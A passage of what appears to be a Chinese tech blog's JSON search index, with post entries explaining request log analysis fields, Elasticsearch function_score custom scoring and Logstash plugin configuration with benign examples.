Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"构造请求日志分析系统","date":"2020-11-07","objectID":"/log-analyzer-system/","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"构造请求日志分析系统 ","date":"2020-11-07","objectID":"/log-analyzer-system/:0:0","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"请求日志记录哪些数据 time_local : 请求的时间 remote_addr : 客户端的 IP 地址 request_method : 请求方法 request_schema : 请求协议,常见的 http 和 https request_host : 请求的域名 request_path : 请求的 path 路径 request_query : 请求的 query 参数 request_size : 请求的大小 referer : 请求来源地址,假设你在 a.com 网站下贴了 b.com 的链接,那么当用户从 a.com 点击访问 b.com 的时候,referer 记录的就是 a.com ,这个是浏览器的行为 user_agent : 客户端浏览器相关信息 status : 请求的响应状态 request_time : 请求的耗时 bytes_sent : 响应的大小 很多时候我们会使用负载网关去代理转发请求给实际的后端服务,这时候请求日志还会包括以下数据: upstream_host : 代理转发的 host upstream_addr : 代理转发的 IP 地址 upstream_url : 代理转发给服务的 url upstream_status : 上游服务返回的 status proxy_time : 代理转发过程中的耗时 ","date":"2020-11-07","objectID":"/log-analyzer-system/:1:0","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"数据衍生 客户端 IP 地址可以衍生出以下数据: asn 相关信息: asn_asn : 自治系统编号,IP 地址是由自治系统管理的,比如中国联通上海网就管理了所有上海联通的IP as_org : 自治系统组织,比如中国移动、中国联通 geo 地址位置信息: geo_location : 经纬度 geo_country : 国家 geo_country_code : 国家编码 geo_region : 区域(省份) geo_city : 城市 user_agent 可以解析出以下信息: ua_device : 使用设备 ua_os : 操作系统 ua_name : 浏览器 ","date":"2020-11-07","objectID":"/log-analyzer-system/:2:0","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"数据分析 PV / QPS : 页面浏览次数 / 每秒请求数 UV : 访问的用户人数,很多网站用户无序登录也能访问,这时可以根据 IP + user_agent 的唯一性确定用户 IP 数 : 访问来源有多少个 IP 地址 网络流量 : 根据 request_size 请求的大小计数网络流入流量,bytes_sent 响应大小计算网络流出流量 referer 来源分析 客户请求的地理位置分析:根据 IP 地址衍生的 geo 数据 客户设备分析:根据 user_agent 提取数据 请求耗时统计:根据 request_time 数据 p99、p95、p90 延迟(前多少百分比请求的耗时,比如 p99 就是前 99% 请求的耗时) 长耗时异常监控 响应状态监控:根据 status 数据 各个状态码的响应占比 5xx 服务端异常数量 结合业务分析:请求的 request_path 地址和 request_query 参数一定是对应具体业务的,例如 请求某个相册的地址是 /album/:id ,那么日志中的 request_path 对应的就是对相册进行了一次访问 进行站内搜索的地址是 /search?q=\u003c关键词\u003e ,那么统计 request_path 是 /search 的日志条数就可以知道进行了多少次搜索,统计 request_query 中 q 的参数就可以知道搜索关键词的情况 ","date":"2020-11-07","objectID":"/log-analyzer-system/:3:0","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"通用架构 日志系统使用 ELK + kafka 构建是业界比较主流的方案,beats、 logstash 进行日志采集搬运,kafka 存储日志等待消费,elasticsearch 进行数据的聚合分析,grafana 和 kibana 进行图形化展示。 ","date":"2020-11-07","objectID":"/log-analyzer-system/:4:0","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"Elasticsearch 自定义打分 Function score query","date":"2020-11-02","objectID":"/es-function-score-query/","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"Elasticsearch 自定义打分 Function score query Elasticsearch 会为 query 的每个文档计算一个相关度得分 score ,并默认按照 score 从高到低的顺序返回搜索结果。 在很多场景下,我们不仅需要搜索到匹配的结果,还需要能够按照某种方式对搜索结果重新打分排序。例如: 搜索具有某个关键词的文档,同时考虑到文档的时效性进行综合排序。 搜索某个旅游景点附近的酒店,同时根据距离远近和价格等因素综合排序。 搜索标题包含 elasticsearch 的文章,同时根据浏览次数和点赞数进行综合排序。 Function score query 就可以让我们实现对最终 score 的自定义打分。 ","date":"2020-11-02","objectID":"/es-function-score-query/:0:0","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"score 自定义打分过程 为了行文方便,本文把 ES 对 query 匹配的文档进行打分得到的 score 记为 query_score ,而最终搜索结果的 score 记为 result_score ,显然,一般情况下(也就是不使用自定义打分时),result_score 就是 query_score 。 那么当我们使用了自定义打分之后呢?最终结果的 score 即 result_score 的计算过程如下: 跟原来一样执行 query 并且得到原来的 query_score 。 执行设置的自定义打分函数,并为每个文档得到一个新的分数,本文记为 func_score 。 最终结果的分数 result_score 等于 query_score 与 func_score 按某种方式计算的结果(默认是相乘)。 例如,搜索标题包含 elasticsearch 的文档。 不使用自定义打分,则搜索形如: GET /_search { \"query\": { \"match\": { \"title\": \"elasticsearch\" } } } 假设我们最终得到了三个搜索结果,score 分别是 0.3、0.2、0.1 。 使用自定义打分,即 function_score ,则语法形如: GET /_search { \"query\": { \"function_score\": { \"query\": { \"match\": { \"title\": \"elasticsearch\" } } \u003c!-- 设置自定义打分函数,这里先省略,后面再展开讲解 --\u003e \"boost_mode\": \"multiply\" } } } 最终搜索结果 score 的计算过程就是: 执行 query 得到原始的分数,与上文假设对应,即 query_score 分别是 0.3、0.2、0.1 。 执行自定义的打分函数,这一步会为每个文档得到一个新的分数,假设新的分数即 func_score 分别是 1、3、5 。 最终结果的 score 分数即 result_score = query_score * func_score ,对应假设的三个搜索结果最终的 score 分别就是 0.3 * 1 = 0.3 、0.2 * 3 = 0.6、0.1 * 5 = 0.5 ,至此我们完成了新的打分过程,而搜索结果也会按照最终的 score 降序排列。 最终的分数 result_score 是由 query_score 与 func_score 进行计算而来,计算方式由参数 boost_mode 定义: multiply : 相乘(默认),result_score = query_score * function_score replace : 替换,result_score = function_score sum : 相加,result_score = query_score + function_score avg : 取两者的平均值,result_score = Avg(query_score, function_score) max : 取两者之中的最大值,result_score = Max(query_score, function_score) min : 取两者之中的最小值,result_score = Min(query_score, function_score) 本文读到这,你应该已经对自定义打分的过程有了一个基本印象(query 原始分数、自定义函数得分、最终结果 score )。但是我们还有一个关键点没讲,即怎么设置自定义打分函数? ","date":"2020-11-02","objectID":"/es-function-score-query/:1:0","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"function_score 打分函数 function_score 提供了以下几种打分的函数: weight : 加权。 random_score : 随机打分。 field_value_factor : 使用字段的数值参与计算分数。 decay_function : 衰减函数 gauss, linear, exp 等。 script_score : 自定义脚本。 ","date":"2020-11-02","objectID":"/es-function-score-query/:2:0","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"weight weight 加权,也就是给每个文档一个权重值。 示例: { \"query\": { \"function_score\": { \"query\": { \"match\": { \"message\": \"elasticsearch\" } }, \"weight\": 5 } } } 例子中的 weight 是 5 ,即自定义函数得分 func_score = 5 ,最终结果的 score 等于 query_score * 5 。 当然这个示例将匹配项全部加权并不会改变搜索结果顺序,我们再看一个例子: { \"query\": { \"function_score\": { \"query\": { \"match\": { \"message\": \"elasticsearch\" } }, \"functions\": [ { \"filter\": { \"match\": { \"title\": \"elasticsearch\" } }, \"weight\": 5 } ] } } } 我们可以通过 filter 去限制 weight 的作用范围,另外我们可以在 functions 中同时使用多个打分函数。 ","date":"2020-11-02","objectID":"/es-function-score-query/:2:1","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"random_score random_score 随机打分,生成 [0, 1) 之间均匀分布的随机分数值。 示例: GET /_search { \"query\": { \"function_score\": { \"random_score\": {} } } } 虽然是随机值,但是有时候我们需要随机值保持一致,比如所有用户都随机产生搜索结果,但是同一个用户的随机结果前后保持一致,这时只需要为同一个用户指定相同的 seed 即可。 示例: { \"query\": { \"function_score\": { \"random_score\": { \"seed\": 10, \"field\": \"_seq_no\" } } } } 默认情况下,即不设置 field 时会使用 Lucene doc ids 作为随机源去生成随机值,但是这会消耗大量内存,官方建议可以设置 field 为 _seq_no ,主要注意的是,即使指定了相同的 seed ,随机值某些情况下也会改变,这是因为一旦字段进行了更新,_seq_no 也会更新,进而导致随机源发生变化。 多个函数组合示例: GET /_search { \"query\": { \"function_score\": { \"query\": { \"match_all\": {} }, \"boost\": \"5\", \"functions\": [ { \"filter\": { \"match\": { \"test\": \"bar\" } }, \"random_score\": {}, \"weight\": 23 }, { \"filter\": { \"match\": { \"test\": \"cat\" } }, \"weight\": 42 } ], \"max_boost\": 42, \"score_mode\": \"max\", \"boost_mode\": \"multiply\", \"min_score\": 42 } } } 上例 functions 中设置了两个打分函数: 一个是 random_score 随机打分,并且 weight 是 23 另一个只有 weight 是 42 假设: 第一个函数随机打分得到了 0.1 ,再与 weight 相乘就是 2.3 第二个函数只有 weight ,那么这个函数得到的分数就是 weight 的值 42 score_mode 设置为了 max,意思是取两个打分函数的最大值作为 func_score,对应上述假设也就是 2.3 和 42 两者中的最大值,即 func_score = 42 boost_mode 设置为了 multiply,就是把原来的 query_score 与 func_score 相乘就得到了最终的 score 分数。 参数 score_mode 指定多个打分函数如何组合计算出新的分数: multiply : 分数相乘(默认) sum : 相加 avg : 加权平均值 first : 使用第一个 filter 函数的分数 max : 取最大值 min : 取最小值 为了避免新的分数的数值过高,可以通过 max_boost 参数去设置上限。 需要注意的是:不论我们怎么自定义打分,都不会改变原始 query 的匹配行为,我们自定义打分,都是在原始 query 查询结束后,对每一个匹配的文档进行重新算分。 为了排除掉一些分数太低的结果,我们可以通过 min_score 参数设置最小分数阈值。 ","date":"2020-11-02","objectID":"/es-function-score-query/:2:2","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"field_value_factor field_value_factor 使用字段的数值参与计算分数。 例如使用 likes 点赞数字段进行综合搜索: { \"query\": { \"function_score\": { \"query\": { \"match\": { \"message\": \"elasticsearch\" } }, \"field_value_factor\": { \"field\": \"likes\", \"factor\": 1.2, \"missing\": 1, \"modifier\": \"log1p\" } } } } 说明: field : 参与计算的字段。 factor : 乘积因子,默认为 1 ,将会与 field 的字段值相乘。 missing : 如果 field 字段不存在则使用 missing 指定的缺省值。 modifier : 计算函数,为了避免分数相差过大,用于平滑分数,可以是以下之一: none : 不处理,默认 log : log(factor * field_value) log1p : log(1 + factor * field_value) log2p : log(2 + factor * field_value) ln : ln(factor * field_value) ln1p : ln(1 + factor * field_value) ln2p : ln(2 + factor * field_value) square : 平方,(factor * field_value)^2 sqrt : 开方,sqrt(factor * field_value) reciprocal : 求倒数,1/(factor * field_value) 假设某个匹配的文档的点赞数是 1000 ,那么例子中其打分函数生成的分数就是 log(1 + 1.2 * 1000),最终的分数是原来的 query 分数与此打分函数分数相差的结果。 ","date":"2020-11-02","objectID":"/es-function-score-query/:2:3","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"decay_function decay_function 衰减函数,例如: 以某个数值作为中心点,距离多少的范围之外逐渐衰减(缩小分数) 以某个日期作为中心点,距离多久的范围之外逐渐衰减(缩小分数) 以某个地理位置点作为中心点,方圆多少距离之外逐渐衰减(缩小分数) 示例: \"DECAY_FUNCTION\": { \"FIELD_NAME\": { \"origin\": \"30, 120\", \"scale\": \"2km\", \"offset\": \"0km\", \"decay\": 0.33 } } 上例的意思就是在距中心点方圆 2 公里之外,分数减少到三分之一(乘以 decay 的值 0.33)。 DECAY_FUNCTION 可以是以下任意一种函数: linear : 线性函数 exp : 指数函数 gauss : 高斯函数 origin : 中心点,只能是数值、日期、geo-point scale : 定义到中心点的距离 offset : 偏移量,默认 0 decay : 衰减指数,默认是 0.5 示例: GET /_search { \"query\": { \"function_score\": { \"gauss\": { \"@timestamp\": { \"origin\": \"2013-09-17\", \"scale\": \"10d\", \"offset\": \"5d\", \"decay\": 0.5 } } } } } 中心点是 2013-09-17 日期,scale 是 10d 意味着日期范围是 2013-09-12 到 2013-09-22 的文档分数权重是 1 ,日期在 scale + offset = 15d 之外的文档权重是 0.5 。 如果参与计算的字段有多个值,默认选择最靠近中心点的值,也就是离中心点的最近距离,可以通过 multi_value_mode 设置: min : 最近距离 max : 最远距离 avg : 平均距离 sum : 所有距离累加 示例: GET /_search { \"query\": { \"function_score\": { \"query\": { \"match\": { \"properties\": \"大阳台\" } }, \"functions\": [ { \"gauss\": { \"price\": { \"origin\": \"0\", \"scale\": \"2000\" } } }, { \"gauss\": { \"location\": { \"origin\": \"30, 120\", \"scale\": \"2km\" } } } ], \"score_mode\": \"multiply\" } } } 假设这是搜索大阳台的房源,上例设置了 price 价格字段的中心点是 0 ,范围 2000 以内,以及 location 地理位置字段的中心点是 “30, 120” ,方圆 2km 之内,在这个范围之外的匹配结果的 score 分数会进行高斯衰减,即打分降低。 ","date":"2020-11-02","objectID":"/es-function-score-query/:2:4","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"script_score script_score 自定义脚本打分,如果上面的打分函数都满足不了你,你还可以直接编写脚本打分。 示例: GET /_search { \"query\": { \"function_score\": { \"query\": { \"match\": { \"message\": \"elasticsearch\" } }, \"script_score\": { \"script\": { \"source\": \"Math.log(2 + doc['my-int'].value)\" } } } } } 在脚本中通过 doc['field'] 的形式去引用字段,doc['field'].value 就是使用字段值。 你也可以把额外的参数与脚本内容分开: GET /_search { \"query\": { \"function_score\": { \"query\": { \"match\": { \"message\": \"elasticsearch\" } }, \"script_score\": { \"script\": { \"params\": { \"a\": 5, \"b\": 1.2 }, \"source\": \"params.a / Math.pow(params.b, doc['my-int'].value)\" } } } } } ","date":"2020-11-02","objectID":"/es-function-score-query/:2:5","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"结语 通过了解 Elasticsearch 的自定义打分相信你能更好的完成符合业务的综合性搜索。 ","date":"2020-11-02","objectID":"/es-function-score-query/:3:0","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"数据管道 Logstash 入门","date":"2020-11-01","objectID":"/logstash/","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Logstash 入门 ","date":"2020-11-01","objectID":"/logstash/:0:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Logstash 是什么 Logstash 就是一个开源的数据流工具,它会做三件事: 从数据源拉取数据 对数据进行过滤、转换等处理 将处理后的数据写入目标地 例如: 监听某个目录下的日志文件,读取文件内容,处理数据,写入 influxdb 。 从 kafka 中消费消息,处理数据,写入 elasticsearch 。 ","date":"2020-11-01","objectID":"/logstash/:1:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"为什么要用 Logstash ? 方便省事。 假设你需要从 kafka 中消费数据,然后写入 elasticsearch ,如果自己编码,你得去对接 kafka 和 elasticsearch 的 API 吧,如果你用 Logstash ,这部分就不用自己去实现了,因为 Logstash 已经为你封装了对应的 plugin 插件,你只需要写一个配置文件形如: input { kafka { # kafka consumer 配置 } } filter { # 数据处理配置 } output { elasticsearch { # elasticsearch 输出配置 } } 然后运行 logstash 就可以了。 Logstash 提供了两百多个封装好的 plugin 插件,这些插件被分为三类: input plugin : 从哪里拉取数据 filter plugin : 数据如何处理 output plugin : 数据写入何处 使用 logstash 你只要编写一个配置文件,在配置文件中挑选组合这些 plugin 插件,就可以轻松实现数据从输入源到输出源的实时流动。 ","date":"2020-11-01","objectID":"/logstash/:1:1","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"安装 logstash 请参数:官方文档 ","date":"2020-11-01","objectID":"/logstash/:2:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"第一个示例 假设你已经安装好了 logstash ,并且可执行文件的路径已经加入到了 PATH 环境变量中。 下面开始我们的第一个示例,编写 pipeline.conf 文件,内容为: input { stdin { } } filter { } output { stdout { } } 这个配置文件的含义是: input 输入为 stdin(标准输入) filter 为空(也就是不进行数据的处理) output 输出为 stdout(标准输出) 执行命令: logstash -f pipeline.conf 等待 logstash 启动完毕,输入 hello world 然后回车, 你就会看到以下输出内容: { \"message\" =\u003e \"hello world\", \"@version\" =\u003e \"1\", \"@timestamp\" =\u003e 2020-11-01T08:25:10.987Z, \"host\" =\u003e \"local\" } 我们输入的内容已经存在于 message 字段中了。 当你输入其他内容后也会看到类似的输出。 至此,我们的第一个示例已经完成,正如配置文件中所定义的,Logstash 从 stdin 标准输入读取数据,不对源数据做任何处理,然后输出到 stdout 标准输出。 ","date":"2020-11-01","objectID":"/logstash/:3:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"特定名词和字段 event : 数据在 logstash 中被包装成 event 事件的形式从 input 到 filter 再到 output 流转。 @timestamp : 特殊字段,标记 event 发生的时间。 @version : 特殊字段,标记 event 的版本号。 message : 源数据内容。 @metadata : 元数据,key/value 的形式,是否有数据得看具体插件,例如 kafka 的 input 插件会在 @metadata 里记录 topic、consumer_group、partition、offset 等一些元数据。 tags : 记录 tag 的字符串数组。 ","date":"2020-11-01","objectID":"/logstash/:3:1","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"字段引用 在配置文件中,可以通过 [field] 的形式引用字段内容,如果在字符串中,则可以通过 %{[field]} 的方式进行引用。 示例: input { kafka { # kafka 配置 } } filter { # 引用 log_level 字段的内容进行判断 if [log_level] == \"debug\" { } } output { elasticsearch { # %{+yyyy.MM.dd} 来源于 @timestamp index =\u003e \"log-%{+yyyy.MM.dd}\" document_type =\u003e \"_doc\" document_id =\u003e \"%{[@metadata][kafka][key]}\" hosts =\u003e [\"127.0.0.1:9200\"] } } ","date":"2020-11-01","objectID":"/logstash/:3:2","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Plugin 插件一览 用好 Logstash 的第一步就是熟悉 plugin 插件,只有熟悉了这些插件你才能快速高效的建立数据管道。 ","date":"2020-11-01","objectID":"/logstash/:4:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Input plugin Input 插件定义了数据源,即 logstash 从哪里拉取数据。 beats : 从 Elastic Beats 框架中接收数据。 示例: input { beats { port =\u003e 5044 } } dead_letter_queue : 从 Logstash 自己的 dead letter queue 中拉取数据,目前 dead letter queue 只支持记录 output 为 elasticsearch 时写入 400 或 404 的数据。 示例: input { dead_letter_queue { path =\u003e \"/var/logstash/data/dead_letter_queue\" start_timestamp =\u003e \"2017-04-04T23:40:37\" } } elasticsearch : 从 elasticsearch 中读取 search query 的结果。 示例: input { elasticsearch { hosts =\u003e \"localhost\" query =\u003e '{ \"query\": { \"match\": { \"statuscode\": 200 } } }' } } exec : 定期执行一个 shell 命令,然后捕获其输出。 示例: input { exec { command =\u003e \"ls\" interval =\u003e 30 } } file : 从文件中流式读取内容。 示例: input { file { path =\u003e [\"/var/log/*.log\", \"/var/log/message\"] start_position =\u003e \"beginning\" } } generator : 生成随机数据。 示例: input { generator { count =\u003e 3 lines =\u003e [ \"line 1\", \"line 2\", \"line 3\" ] } } github : 从 github webhooks 中读取数据。 graphite : 接受 graphite 的 metrics 指标数据。 heartbeat : 生成心跳信息。这样做的一般目的是测试 Logstash 的性能和可用性。 http : Logstash 接受 http 请求作为数据。 http_poller : Logstash 发起 http 请求,读取响应数据。 示例: input { http_poller { urls =\u003e { test1 =\u003e \"http://localhost:9200\" test2 =\u003e { method =\u003e get user =\u003e \"AzureDiamond\" password =\u003e \"hunter2\" url =\u003e \"http://localhost:9200/_cluster/health\" headers =\u003e { Accept =\u003e \"application/json\" } } } request_timeout =\u003e 60 schedule =\u003e { cron =\u003e \"* * * * * UTC\"} codec =\u003e \"json\" metadata_target =\u003e \"http_poller_metadata\" } } imap : 从 IMAP 服务器读取邮件。 jdbc : 通过 JDBC 接口导入数据库中的数据。 示例: input { jdbc { jdbc_driver_library =\u003e \"mysql-connector-java-5.1.36-bin.jar\" jdbc_driver_class =\u003e \"com.mysql.jdbc.Driver\" jdbc_connection_string =\u003e \"jdbc:mysql://localhost:3306/mydb\" jdbc_user =\u003e \"mysql\" parameters =\u003e { \"favorite_artist\" =\u003e \"Beethoven\" } schedule =\u003e \"* * * * *\" statement =\u003e \"SELECT * from songs where artist = :favorite_artist\" } } kafka : 消费 kafka 中的消息。 示例: input { kafka { bootstrap_servers =\u003e \"127.0.0.1:9092\" group_id =\u003e \"consumer_group\" topics =\u003e [\"kafka_topic\"] enable_auto_commit =\u003e true auto_commit_interval_ms =\u003e 5000 auto_offset_reset =\u003e \"latest\" decorate_events =\u003e true isolation_level =\u003e \"read_uncommitted\" max_poll_records =\u003e 1000 } } rabbitmq : 从 RabbitMQ 队列中拉取数据。 redis : 从 redis 中读取数据。 stdin : 从标准输入读取数据。 syslog : 读取 syslog 数据。 tcp : 通过 TCP socket 读取数据。 udp : 通过 udp 读取数据。 unix : 通过 UNIX socket 读取数据。 websocket : 通过 websocket 协议 读取数据。 ","date":"2020-11-01","objectID":"/logstash/:4:1","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Output plugin Output 插件定义了数据的输出地,即 logstash 将数据写入何处。 csv : 将数据写入 csv 文件。 elasticsearch : 写入 Elasticsearch 。 email : 发送 email 邮件。 exec : 执行命令。 file : 写入磁盘文件。 graphite : 写入 Graphite 。 http : 发送 http 请求。 influxdb : 写入 InfluxDB 。 kafka : 写入 Kafka 。 mongodb : 写入 MongoDB 。 opentsdb : 写入 OpenTSDB 。 rabbitmq : 写入 RabbitMQ 。 redis : 使用 RPUSH 的方式写入到 Redis 队列。 sink : 将数据丢弃,不写入任何地方。 syslog : 将数据发送到 syslog 服务端。 tcp : 发送 TCP socket。 udp : 发送 UDP 。 webhdfs : 通过 webhdfs REST API 写入 HDFS 。 websocket : 推送 websocket 消息 。 ","date":"2020-11-01","objectID":"/logstash/:4:2","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Filter plugin Filter 插件定义对数据进行如何处理。 aggregate : 聚合数据。 alter : 修改数据。 bytes : 将存储大小如 “123 MB” 或 “5.6gb” 的字符串表示形式解析为以字节为单位的数值。 cidr : 检查 IP 地址是否在指定范围内。 示例: filter { cidr { add_tag =\u003e [ \"testnet\" ] address =\u003e [ \"%{src_ip}\", \"%{dst_ip}\" ] network =\u003e [ \"192.0.2.0/24\" ] } } cipher : 对数据进行加密或解密。 clone : 复制 event 事件。 csv : 解析 CSV 格式的数据。 date : 解析字段中的日期数据。 示例,匹配输入的 timestamp 字段,然后替换 @timestamp : filter { date { match =\u003e [\"timestamp\", \"dd/MMM/yyyy:HH:mm:ss ZZ\"] target =\u003e \"@timestamp\" } } dissect : 使用 %{} 的形式拆分字符串并提取出特定内容,比较常用,具体语法见 dissect 文档。 drop : 丢弃这个 event 。 示例: filter { if [loglevel] == \"debug\" { drop { } } } elapsed : 通过记录开始和结束时间跟踪 event 的耗时。 elasticsearch : 在 elasticsearch 中进行搜索,并将数据复制到当前 event 中。 environment : 将环境变量中的数据存储到 @metadata 字段中。 extractnumbers : 提取字符串中找到的所有数字。 fingerprint : 根据一个或多个字段的内容创建哈希值,并存储到新的字段中。 geoip : 使用绑定的 GeoLite2 数据库添加有关 IP 地址的地理位置的信息,这个插件非常有用,你可以根据 IP 地址得到对应的国家、省份、城市、经纬度等地理位置数据。 示例,通过 clent_ip 字段获取对应的地理位置信息: filter { geoip { cache_size =\u003e 1000 default_database_type =\u003e \"City\" source =\u003e \"clent_ip\" target =\u003e \"geo\" tag_on_failure =\u003e [\"_geoip_city_fail\"] add_field =\u003e { \"geo_country_name\" =\u003e \"%{[geo][country_name]}\" \"geo_region_name\" =\u003e \"%{[geo][region_name]}\" \"geo_city_name\" =\u003e \"%{[geo][city_name]}\" \"geo_location\" =\u003e \"%{[geo][latitude]},%{[geo][longitude]}\" } remove_field =\u003e [\"geo\"] } } grok : 通过正则表达式去处理字符串,比较常用,具体语法见 grok 文档。 http : 与外部 web services/REST APIs 集成。 i18n : 从字段中删除特殊字符。 java_uuid : 生成 UUID 。 jdbc_static : 从远程数据库中读取数据,然后丰富 event 。 jdbc_streaming : 执行 SQL 查询然后将结果存储到指定字段。 json : 解析 json 字符串,生成 field 和 value。 示例: filter { json { skip_on_invalid_json =\u003e true source =\u003e \"message\" } } 如果输入的 message 字段是 json 字符串如 \"{\"a\": 1, \"b\": 2}\", 那么解析后就会增加两个字段,字段名分别是 a 和 b 。 kv : 解析 key=value 形式的数据。 memcached : 与外部 memcached 集成。 metrics : logstash 在内存中去聚合指标数据。 mutate : 对字段进行一些常规更改。 示例: filter { mutate { split =\u003e [\"hostname\", \".\"] add_field =\u003e { \"shortHostname\" =\u003e \"%{hostname[0]}\" } } mutate { rename =\u003e [\"shortHostname\", \"hostname\"] } } prune : 通过黑白名单的方式删除多余的字段。 示例: filter { prune { blacklist_names =\u003e [ \"method\", \"(referrer|status)\", \"${some}_field\" ] } } ruby : 执行 ruby 代码。 示例,解析 http://example.com/abc?q=haha 形式字符串中的 query 参数 q 的值 : filter { ruby { code =\u003e \" require 'cgi' req = event.get('request_uri').split('?') query = '' if req.length \u003e 1 query = req[1] qh = CGI::parse(query) event.set('search_q', qh['q'][0]) end \" } } 在 ruby 代码中,字段的获取和设置通过 event.get() 和 event.set() 方法进行操作。 sleep : 休眠指定时间。 split : 拆分字段。 throttle : 限流,限制 event 数量。 translate : 根据指定的字典文件将数据进行对应转换。 示例: filter { translate { field =\u003e \"[http_status]\" destination =\u003e \"[http_status_description]\" dictionary =\u003e { \"100\" =\u003e \"Continue\" \"101\" =\u003e \"Switching Protocols\" \"200\" =\u003e \"OK\" \"500\" =\u003e \"Server Error\" } fallback =\u003e \"I'm a teapot\" } } truncate : 将字段内容超出长度的部分裁剪掉。 urldecode : 对 urlencoded 的内容进行解码。 useragent : 解析 user-agent 的内容得到诸如设备、操作系统、版本等信息。 示例: filter { # ua_device : 设备 # ua_name : 浏览器 # ua_os : 操作系统 useragent { lru_cache_size =\u003e 1000 source =\u003e \"user_agent\" target =\u003e \"ua\" add_field =\u003e { \"ua_device\" =\u003e \"%{[ua][device]}\" \"ua_name\" =\u003e \"%{[ua][name]}\" \"ua_os\" =\u003e \"%{[ua][os_name]}\" } remove_field =\u003e [\"ua\"] } } uuid : 生成 UUID 。 xml : 解析 XML 格式的数据。 ","date":"2020-11-01","objectID":"/logstash/:4:3","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"结语 Logstash 的插件除了本文提到的这些之外还有很多,想要详细的了解每个插件如何使用还是要去查阅官方文档。 得益于 Logstash 的插件体系,你只需要编写一个配置文件,声明使用哪些插件,就可以很轻松的构建数据管道。 ","date":"2020-11-01","objectID":"/logstash/:5:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Engineering"],"content":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","date":"2020-06-04","objectID":"/image-search-total/","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理 ","date":"2020-06-04","objectID":"/image-search-total/:0:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"前言 又拍图片管家当前服务了千万级用户,管理了百亿级图片。当用户的图库变得越来越庞大时,业务上急切的需要一种方案能够快速定位图像,即直接输入图像,然后根据输入的图像内容来找到图库中的原图及相似图,而以图搜图服务就是为了解决这个问题。 本人于在职期间独立负责并实施了整个以图搜图系统从技术调研、到设计验证、以及最后工程实现的全过程。而整个以图搜图服务也是经历了两次的整体演进:从 2019 年初开始第一次技术调研,经历春节假期,2019 年 3、4 月份第一代系统整体上线;2020 年初着手升级方案调研,经历春节及疫情,2020 年 4 月份开始第二代系统的整体升级。 本文将会简述两代搜图系统背后的技术选型及基本原理。 ","date":"2020-06-04","objectID":"/image-search-total/:1:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"基础概要 ","date":"2020-06-04","objectID":"/image-search-total/:2:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"图像是什么? 